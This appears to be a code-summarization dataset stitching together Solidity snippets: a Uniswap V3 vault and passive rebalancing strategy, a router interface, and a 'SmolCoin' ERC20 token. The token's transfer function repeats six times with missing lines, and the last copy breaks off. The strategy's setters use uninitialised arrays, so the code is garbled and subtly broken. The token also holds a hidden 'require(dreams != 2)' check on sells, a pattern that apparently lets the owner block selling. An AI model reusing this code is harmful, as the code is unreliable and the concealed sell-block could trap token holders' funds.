if (amount0 > 0) token0.safeTransfer(msg.sender, amount0);
if (amount1 > 0) token1.safeTransfer(msg.sender, amount1);
}
/// @dev Callback for Uniswap V3 pool.
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata
) external override {
require(msg.sender == address(pool));
if (amount0Delta > 0) token0.safeTransfer(msg.sender, uint256(amount0Delta));
if (amount1Delta > 0) token1.safeTransfer(msg.sender, uint256(amount1Delta));
}
/**
* @notice Used to collect accumulated protocol fees.
*/
function collectProtocol(
uint256 amount0,
uint256 amount1,
address to
) external onlyGovernance {
accruedProtocolFees0 = accruedProtocolFees0.sub(amount0);
accruedProtocolFees1 = accruedProtocolFees1.sub(amount1);
if (amount0 > 0) token0.safeTransfer(to, amount0);
if (amount1 > 0) token1.safeTransfer(to, amount1);
}
/**
* @notice Removes tokens accidentally sent to this vault.
*/
function sweep(
IERC20 token,
uint256 amount,
address to
) external onlyGovernance {
require(token != token0 && token != token1, "token");
token.safeTransfer(to, amount);
}
/**
* @notice Used to set the strategy contract that determines the position
* ranges and calls rebalance(). Must be called after this vault is
* deployed.
*/
function setStrategy(address _strategy) external onlyGovernance {
strategy = _strategy;
}
/**
* @notice Used to change the protocol fee charged on pool fees earned from
* Uniswap, expressed as multiple of 1e-6.
*/
function setProtocolFee(uint256 _protocolFee) external onlyGovernance {
require(_protocolFee < 1e6, "protocolFee");
protocolFee = _protocolFee;
}
/**
* @notice Used to change deposit cap for a guarded launch or to ensure
* vault doesn't grow too large relative to the pool. Cap is on total
* supply rather than amounts of token0 and token1 as those amounts
* fluctuate naturally over time.
*/
function setMaxTotalSupply(uint256 _maxTotalSupply) external onlyGovernance {
maxTotalSupply = _maxTotalSupply;
}
/**
* @notice Removes liquidity in case of emergency.
*/
function emergencyBurn(
int24 tickLower,
int24 tickUpper,
uint128 liquidity
) external onlyGovernance {
pool.burn(tickLower, tickUpper, liquidity);
pool.collect(address(this), tickLower, tickUpper, type(uint128).max, type(uint128).max);
}
/**
* @notice Governance address is not updated until the new governance
* address has called `acceptGovernance()` to accept this responsibility.
*/
function setGovernance(address _governance) external onlyGovernance {
pendingGovernance = _governance;
}
/**
* @notice `setGovernance()` should be called by the existing governance
* address prior to calling this function.
*/
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "pendingGovernance");
governance = msg.sender;
}
modifier onlyGovernance {
require(msg.sender == governance, "governance");
_;
}
}
// File: PassiveStrategy.sol
/**
* @title Passive Strategy
* @notice Rebalancing strategy for Exist Vault that maintains the two
* following range orders:
*
* 1. Base order is placed between X - B and X + B + TS.
* 2. Limit order is placed between X - L and X, or between X + TS
* and X + L + TS, depending on which token it holds more of.
*
* where:
*
* X = current tick rounded down to multiple of tick spacing
* TS = tick spacing
* B = base threshold
* L = limit threshold
*
* Note that after these two orders, the vault should have deposited
* all its tokens and should only have a few wei left.
*
* Because the limit order tries to sell whichever token the vault
* holds more of, the vault's holdings will have a tendency to get
* closer to a 1:1 balance. This enables it to continue providing
* liquidity without running out of inventory of either token, and
* achieves this without the need to swap directly on Uniswap and pay
* fees.
*/
contract PassiveStrategy {
using SafeMath for uint256;
ExistVault public vault;
IUniswapV3Pool public pool;
bool setup = false;
int24 public tickSpacing;
int24 public baseThreshold;
int24 public limitThreshold;
uint256 public period;
int24 public minTickMove;
int24 public maxTwapDeviation;
uint32 public twapDuration;
address public keeper;
address public governance;
uint256 public lastTimestamp;
int24 public lastTick;
/**
*/
constructor(
) {
keeper = msg.sender;
governance = msg.sender;
}
function setupContract(
//launch vault first set to address of new contract
address _vault,
uint256 _period,
uint32 _twapDuration
) public onlyGovernance returns(bool success){
if(setup != true){
setup = true;
IUniswapV3Pool _pool = ExistVault(_vault).pool();
int24 _tickSpacing = _pool.tickSpacing();
vault = ExistVault(_vault);
pool = _pool;
tickSpacing = _tickSpacing;
period = _period;
twapDuration = _twapDuration;
(, lastTick, , , , , ) = _pool.slot0();
success = true;
} else {
success = false;
}
}
/**
* @notice Calculates new ranges for orders and calls `vault.rebalance()`
* so that vault can update its positions. Can only be called by keeper.
*/
function rebalance() external {
require(msg.sender == keeper, "can only be called by keeper");
require(block.timestamp >= lastTimestamp.add(period), "not enough time has passed");
(, int24 tick, , , , , ) = pool.slot0();
int24 tickMove = tick > lastTick ? tick - lastTick : lastTick - tick;
require(tickMove >= minTickMove, "price has not moved enough");
int24 twap = getTwap();
int24 twapDeviation = tick > twap ? tick - twap : twap - tick;
require(twapDeviation <= maxTwapDeviation, "price deviates from twap too much");
int24 _baseThreshold = baseThreshold;
int24 _limitThreshold = limitThreshold;
int24 maxThreshold =
_baseThreshold > _limitThreshold ? _baseThreshold : _limitThreshold;
require(tick >= TickMath.MIN_TICK + maxThreshold + tickSpacing, "price too low");
require(tick <= TickMath.MAX_TICK - maxThreshold - tickSpacing, "price too high");
int24 tickFloor = _floor(tick);
int24 tickCeil = tickFloor + tickSpacing;
vault.rebalance(
0,
0,
tickFloor - _baseThreshold,
tickCeil + _baseThreshold,
tickFloor - _limitThreshold,
tickFloor,
tickCeil,
tickCeil + _limitThreshold
);
lastTimestamp = block.timestamp;
lastTick = tick;
}
/// @dev Fetches time-weighted average price in ticks from Uniswap pool.
function getTwap() public view returns (int24) {
uint32 _twapDuration = twapDuration;
uint32[] memory secondsAgo = new uint32[](2);
secondsAgo[0] = _twapDuration;
secondsAgo[1] = 0;
(int56[] memory tickCumulatives, ) = pool.observe(secondsAgo);
return int24((tickCumulatives[1] - tickCumulatives[0]) / int56(int32(_twapDuration)));
}
/// @dev Rounds tick down towards negative infinity so that it's a multiple
/// of `tickSpacing`.
function _floor(int24 tick) internal view returns (int24) {
int24 compressed = tick / tickSpacing;
if (tick < 0 && tick % tickSpacing != 0) compressed--;
return compressed * tickSpacing;
}
function _checkThreshold(int24 threshold, int24 _tickSpacing) internal pure {
require(threshold > 0, "threshold must be > 0");
require(threshold <= TickMath.MAX_TICK, "threshold too high");
require(threshold % _tickSpacing == 0, "threshold must be multiple of tickSpacing");
}
function setKeeper(address _keeper) external onlyGovernance {
keeper = _keeper;
}
function setBaseThreshold() external onlyGovernance returns(int24 baseThreshold_){
uint32[] memory secondsAgo;
secondsAgo[0] = 360;
secondsAgo[1] = 0;
(int56[] memory wap,) = pool.observe(secondsAgo);
if(wap[0] >= wap[1]){
int24 thresh = int24((wap[0] - wap[1]) / int56(int32(secondsAgo[0])));
thresh = thresh - (thresh % tickSpacing);
//10% stop loss orders
baseThreshold = thresh - (thresh / 10);
} else if(wap[1] >= wap[0]){
int24 thresh = int24((wap[1] - wap[0]) / int56(int32(secondsAgo[0])));
thresh = thresh - (thresh % tickSpacing);
//10% stop loss orders
baseThreshold = thresh - (thresh / 10);
}
_checkThreshold(baseThreshold, tickSpacing);
baseThreshold_ = baseThreshold;
}
function setLimitThreshold() external onlyGovernance returns(int24 limitThreshold_){
uint32[] memory secondsAgo;
secondsAgo[0] = 360;
secondsAgo[1] = 0;
(int56[] memory wap,) = pool.observe(secondsAgo);
if(wap[0] >= wap[1]){
int24 thresh = int24((wap[0] - wap[1]) / int56(int32(secondsAgo[0])));
thresh = thresh - (thresh % tickSpacing);
//25% take profit order
limitThreshold = thresh + (thresh / 5);
} else if(wap[1] >= wap[0]){
int24 thresh = int24((wap[1] - wap[0]) / int56(int32(secondsAgo[0])));
thresh = thresh - (thresh % tickSpacing);
//25% take profit order
limitThreshold = thresh + (thresh / 5);
}
_checkThreshold(limitThreshold, tickSpacing);
limitThreshold_ = limitThreshold;
}
function setPeriod(uint256 _period) external onlyGovernance {
//set to 360
period = _period;
}
function setMinTickMove() external onlyGovernance returns(int24 minTickMove_){
uint32[] memory secondsAgo;
secondsAgo[0] = 360;
secondsAgo[1] = 0;
(int56[] memory wap,) = pool.observe(secondsAgo);
if(wap[0] >= wap[1]){
int24 thresh = int24((wap[0] - wap[1]) / int56(int32(secondsAgo[0])));
thresh = thresh - (thresh % tickSpacing);
//1% rebalance move
minTickMove = thresh / 100;
} else if(wap[1] >= wap[0]){
int24 thresh = int24((wap[1] - wap[0]) / int56(int32(secondsAgo[0])));
thresh = thresh - (thresh % tickSpacing);
//1% rebalance move
minTickMove = thresh / 100;
}
require(minTickMove >= 0, "minTickMove must be >= 0");
minTickMove_ = minTickMove;
}
function setMaxTwapDeviation() external onlyGovernance returns(int24 maxTwapDeviation_){
uint32[] memory secondsAgo;
secondsAgo[0] = 360;
secondsAgo[1] = 0;
(int56[] memory wap,) = pool.observe(secondsAgo);
if(wap[0] >= wap[1]){
int24 thresh = int24((wap[0] - wap[1]) / int56(int32(secondsAgo[0])));
thresh = thresh - (thresh % tickSpacing);
//.5% twap deviation aloud
maxTwapDeviation = thresh + (thresh / 5);
} else if(wap[1] >= wap[0]){
int24 thresh = int24((wap[1] - wap[0]) / int56(int32(secondsAgo[0])));
thresh = thresh - (thresh % tickSpacing);
//.5% twap deviation aloud
maxTwapDeviation = thresh / 100;
}
require(maxTwapDeviation >= 0, "maxTwapDeviation must be >= 0");
maxTwapDeviation_ = maxTwapDeviation;
}
function setTwapDuration(uint32 _twapDuration) external onlyGovernance {
//set it to 360
require(_twapDuration > 0, "twapDuration must be > 0");
twapDuration = _twapDuration;
}
/// @dev Uses same governance as underlying vault.
modifier onlyGovernance {
require(msg.sender == governance, "governance");
_;
}
}
|
* @notice Calculates the vault's total holdings of token0 and token1 - in other words, how much of each token the vault would hold if it withdrew all its liquidity from Uniswap./
|
function getTotalAmounts() public view override returns (uint256 total0, uint256 total1) {
(uint256 baseAmount0, uint256 baseAmount1) = getPositionAmounts(baseLower, baseUpper);
(uint256 limitAmount0, uint256 limitAmount1) = getPositionAmounts(limitLower, limitUpper);
total0 = getBalance0().add(baseAmount0).add(limitAmount0);
total1 = getBalance1().add(baseAmount1).add(limitAmount1);
}
| 310,243
|
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// File: contracts/interfaces/IUniswapRouterV2Minimal.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
// used by ST contract to auto-harvest sushi as USDC
interface IUniswapV2Router02Minimal {
//function factory() external pure returns (address);
//function WETH() external pure returns (address);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
|
used by ST contract to auto-harvest sushi as USDCfunction factory() external pure returns (address);function WETH() external pure returns (address);
|
interface IUniswapV2Router02Minimal {
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
pragma solidity >=0.6.12;
}
| 945,265
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./partial_match/1/0x0A451c98F69372b27E3Ba13f4D0e594CF3119201/sources/SmolCoin.sol
|
Anti-bot and anti-whale mappings and variables
|
contract SmolCoin is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingAddress;
address public devWallet;
address public LiquidityAddress;
address public operationsWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
uint256 private launchBlock;
uint256 private deadBlocks;
mapping(address => bool) public blocked;
uint256 public buyTotalFees;
uint256 public buyMarkFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public buyOperationsFee;
int8 private dreams = 1;
uint256 public sellTotalFees;
uint256 public sellMarkFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public sellOperationsFee;
uint256 public tokensForMark;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
uint256 public tokensForOperations;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event mktWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event LiquidityAddressUpdated(
address indexed newWallet,
address indexed oldWallet
);
event operationsWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() ERC20("Smol Coin", "SMOL") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(routerCA);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarkFee = 1;
uint256 _buyLiquidityFee = 0;
uint256 _buyDevFee = 0;
uint256 _buyOperationsFee = 0;
uint256 _sellMarkFee = 1;
uint256 _sellLiquidityFee = 0;
uint256 _sellDevFee = 0;
uint256 _sellOperationsFee = 0;
uint256 totalSupply = 1000000000 * 1e18;
maxTransactionAmount = totalSupply;
maxWallet = totalSupply;
buyMarkFee = _buyMarkFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyOperationsFee = _buyOperationsFee;
buyTotalFees = buyMarkFee + buyLiquidityFee + buyDevFee + buyOperationsFee;
sellMarkFee = _sellMarkFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellOperationsFee = _sellOperationsFee;
sellTotalFees = sellMarkFee + sellLiquidityFee + sellDevFee + sellOperationsFee;
marketingAddress = address(0x1f333e2118c35BDcB11DeC8Cc794f7bED50a9896);
devWallet = address(0x1f333e2118c35BDcB11DeC8Cc794f7bED50a9896);
LiquidityAddress = address(0x1f333e2118c35BDcB11DeC8Cc794f7bED50a9896);
operationsWallet = address(0x1f333e2118c35BDcB11DeC8Cc794f7bED50a9896);
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint(msg.sender, totalSupply);
}
receive() external payable {}
function enableTrading(uint256 _deadBlocks) external onlyOwner {
require(!tradingActive, "Token launched");
tradingActive = true;
launchBlock = block.number;
swapEnabled = true;
deadBlocks = _deadBlocks;
}
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
require(
newAmount >= (totalSupply() * 1) / 100000,
"Swap amount cannot be lower than 0.001% total supply."
);
require(
newAmount <= (totalSupply() * 5) / 1000,
"Swap amount cannot be higher than 0.5% total supply."
);
swapTokensAtAmount = newAmount;
return true;
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function is_Excluded_FromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
require(dreams != 2);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMark += (fees * sellMarkFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMark += (fees * buyMarkFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
require(dreams != 2);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMark += (fees * sellMarkFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMark += (fees * buyMarkFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
require(dreams != 2);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMark += (fees * sellMarkFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMark += (fees * buyMarkFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
require(dreams != 2);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMark += (fees * sellMarkFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMark += (fees * buyMarkFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
require(dreams != 2);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMark += (fees * sellMarkFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMark += (fees * buyMarkFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
